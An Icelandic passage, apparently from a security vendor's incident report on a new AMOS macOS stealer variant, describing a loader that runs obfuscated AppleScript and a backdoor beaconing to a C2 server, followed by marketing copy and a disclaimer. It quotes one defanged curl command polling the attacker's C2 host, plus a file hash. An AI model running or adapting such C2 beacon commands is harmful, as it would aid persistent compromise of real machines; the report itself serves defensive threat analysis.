helper binary-ið framkvæmir ekki þjófnaðinn sjálft. Eini tilgangur þess er að planta og keyra hinn eiginlega illgjarna payload, sterkt obfuskerað AppleScript. EDR eða AV sem leitar að illgjörnum binaries sér hér loader án network- eða skráar-I/O og gæti flokkað hann sem hreinan, án þess að átta sig á að binary-ið er sérhæft delivery-kerfi fyrir high-level script payload.
{: #backdoorinn}
Atvikinu lauk ekki eftir upphaflegu kompromíseringuna. Microsoft Defender-telemetry sýndi ferli sem keyrði frá /Users/<redacted>/.mainhelper og spurði út í ytri server:
sh -c "curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'"
Base64-strengurinn afkóðaðist í 16-byte tækis-UUID, einkvæmt auðkenni sem C2-innviðir árásaraðilans höfðu úthlutað þessu tæki á degi upphaflegu sýkingarinnar.
.mainhelper-binary-ið (SHA-256: 7c6766e2b05dfbb286a1ba48ff3e766d4507254e217e8cb77343569153d63063) hafði verið sett upp á degi atviksins af osascript-dropper-num gegnum ditto.
{: #shared-threat-intelligence}
Þegar alert kviknar í SOC-inu okkar byrjar klukkan ekki bara að tifa fyrir viðkomandi viðskiptavin heldur fyrir öll fyrirtæki undir glueckkanja-skildinum. Þessi rannsókn á óskráðu AMOS-afbrigði gerir ljóst hvað intelligence gap-ið þýðir í raun: hættulegur tímagluggi þar sem hefðbundnir vendors eru blindir vegna þess að þeir hafa ekki enn séð ógnina.
Hér sýnir okkar séreignar Shared Threat Intelligence Platform gildi sitt, þróuð eingöngu fyrir glueckkanja-CSOC-viðskiptavini. Við bíðum ekki eftir uppfærslum frá iðnaðinum, við búum þær til. Á meðan greinendur okkar voru enn að taka í sundur síðustu lögin af ARM64-assembly dreifði Automated Orchestration Engine okkar þegar útdregnu indikatorana yfir allt vistkerfið. Það skapar hjörðar-ónæmi: það sem finnst á einum endpoint er innan mínútna orðið að blokkaðri ógn fyrir öll fyrirtæki undir vernd okkar.
Reaktíft öryggi virkar ekki gegn ógnum sem laumast markvisst gegnum eyður hefðbundinna varna. Svarið liggur í tengingu mannlegrar sérþekkingar við arkitektúr sem beitir þeirri þekkingu strax og í skala. Í gegnum shared intelligence módelið okkar snýst tímakostur árásaraðilans við: viðskiptavinir okkar eru varðir áður en iðnaðurinn viðurkennir ógnina yfirhöfuð.
Athugasemd um persónuvernd
Auðkennanlegar upplýsingar hafa verið nafnleyndar í þessari birtingu. Tilteknum tæknilegum smáatriðum, indikatorum og tímastimplum kann að hafa verið breytt lítillega til að tryggja áframhaldandi vernd viðkomandi umhverfis, án þess að skerða tæknilega heilleika greiningarinnar.
Tæknilegu greiningarnar og Indicators of Compromise (IOCs) í þessari skýrslu eru eingöngu í upplýsinga- og fræðsluskyni. Þau eru látin í té eftir bestu vitund. glueckkanja AG veitir engar berum orðum eða óbeinar ábyrgðir varðandi heilleika eða nákvæmni og ber ekki ábyrgð á skaða, tapi eða öryggisatvikum sem hljótast af notkun þeirra upplýsinga, reglna eða signature sem hér eru deilt. Við mælum með að staðfesta öll indikatora og reglur í stýrðu umhverfi áður en þau eru tekin í notkun.
Lýstir indikatorar og tækni geta skarast við þekktar malware-fjölskyldur og eru ekki eingöngu bundnar við eina herferð.
Hafðu samband
Viltu vita hvernig Shared Threat Intelligence Platform okkar ver þig fyrir óþekktum malware-afbrigðum, áður en iðnaðurinn heyrir af þeim. Talaðu við okkur.














